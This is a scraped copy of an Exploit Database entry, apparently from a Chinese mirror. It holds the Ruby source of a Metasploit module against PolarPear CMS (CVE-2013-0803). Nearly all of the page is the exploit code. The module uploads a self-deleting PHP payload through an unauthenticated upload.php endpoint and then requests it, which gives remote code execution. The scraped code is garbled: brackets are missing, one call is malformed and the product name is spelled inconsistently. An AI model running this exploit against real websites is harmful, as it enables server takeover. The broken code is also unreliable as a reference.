PolarPearCMS – Arbitrary ‘.PHP’ File Upload (Metasploit)

Exploit Database
125 阅读

作者： Metasploit

日期： 2013-02-26
类别：
- remote
平台：
- php
来源：https://www.exploit-db.com/exploits/24549/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::PhpEXE

def initialize(info = {})

super(update_info(info,

'Name' => 'PolarPearCms PHP File Upload Vulnerability',

'Description'=> %q{

This module exploits a file upload vulnerability found in PlarPear CMS

By abusing the upload.php file, a malicious user can upload a file to a temp

directory without authentication, which results in arbitrary code execution.

'Author' =>

[

'Fady Mohamed Osman'# @Fady_Osman

'License'=> MSF_LICENSE,

'References' =>

[

[ 'CVE', '2013-0803' ]

'Payload' =>

{

'BadChars' => "\x00",

'Platform' => 'php',

'Arch' => ARCH_PHP,

'Targets'=>

[

[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],

[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jan 21 2012'))

register_options(

[

OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) ,

OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms'])

], self.class)

end

def check

uri =target_uri.path

res = send_request_cgi({

'method' => 'GET',

'uri'=> normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php')

})

if not res or res.code != 200

return Exploit::CheckCode::Unknown

end

return Exploit::CheckCode::Appears

end

def exploit

uri =target_uri.path

upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/")

peer = "#{rhost}:#{rport}"

@payload_name = "#{rand_text_alpha(5)}.php"

php_payload = get_write_exec_payload(:unlink_self=>true)

data = Rex::MIME::Message.new

data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")

data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/',, nil, nil, "form-data; name=\"folder\"")

post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{peer} - Uploading payload #{@payload_name}")

res = send_request_cgi({

'method' => 'POST',

'uri'=> normalize_uri(uri, 'includes', 'jquery.uploadify', "upload.php?folder=#{upload_dir}"),

'ctype'=> "multipart/form-data; boundary=#{data.bound}",

'data' => post_data

})

if not res or res.code != 200

fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")

end

upload_uri = "#{upload_dir}#{@payload_name}"

print_status("#{peer} - Executing payload #{@payload_name}")

res = send_request_raw({

'uri'=> upload_uri,

'method' => 'GET'

})

end